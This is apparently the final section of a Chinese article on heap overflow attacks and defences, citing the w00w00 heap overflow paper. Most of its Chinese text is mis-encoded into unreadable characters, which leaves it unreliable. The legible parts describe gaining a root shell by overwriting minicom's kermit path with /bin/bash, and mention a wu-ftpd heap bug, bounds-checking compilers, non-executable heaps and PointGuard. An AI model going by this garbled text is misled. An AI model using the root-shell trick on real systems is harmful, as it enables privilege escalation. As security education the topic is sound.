
ֻҪ`E- Kermit program' 
е/usr/bin/kermitĳ/bin/bash,ǾͿԻ
һroot shellˡлԭȵնˣ޸'E'ȻCTRL+A+Kkermit,
bash#

heap/BSSһʵ𽥵ӣǰCERTwuftp 
2.
5.0mapped_path©һheap(longjmp/setjmp),ȤĿԼ
һ¡

. ܵĽ
~~~~~~~~~~~~~~~~~~
,ֹheapѷǱдĴ!ͬջһ,ûһ
ַֹheap.
ǿʹRichard JonesPaul 
KellyĴ߽gcc/egcs(ӦÿԼ
󲿷ֵǱڵ).ԴRichard Joneҳ:
		http://www.annexia.demon.co.uk
ܼΪµ.:
"int array[10];
for (i = 0; i <= 10; i++) array[i] = 1".

ע:
    Windowsϵͳ,NuMegaı߽.Ĺܺʹ߽gcc
    .

ǿһִheappatch(ǰᵽ,ϵͳһִ
heap).ںSolar 
DesignerԺ,ᵽִheapҪǿܻӰ
,ȵ

ע:

   
ʹһheapִ,Ҳܽ.Ϊǲheapִָ.
   ȻԸheapе.(ǰminicom)

һܵķһ"HeapGuard",Crispin 
CowanStackGuard.Ѿ
һµPointGuard,ָֹԼjmpbuf,ݳƾҲ
Էֹstack/heap/bssбķǷ.ϸϿԲο·:
<<Buffer Overflows: Attacks and Defenses for the Vulnerability of the 
Decade>>

<>


ο:

[1] <<w00w00 on Heap Overflows>>  by Matt Conover (a.k.a. Shok) & w00w00 
Security Team
[2] <<Buffer Overflows: Attacks and Defenses for the Vulnerability of the 
Decade>>
     by Crispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan 
Walpole
[3] <<a fuqn awesome minicom static buffer overflow>>. "ohday" . B4B0,3(9)
[4] <<Smashing The Stack For Fun And Profit>>. "Aleph One". Phrack, 7(49)


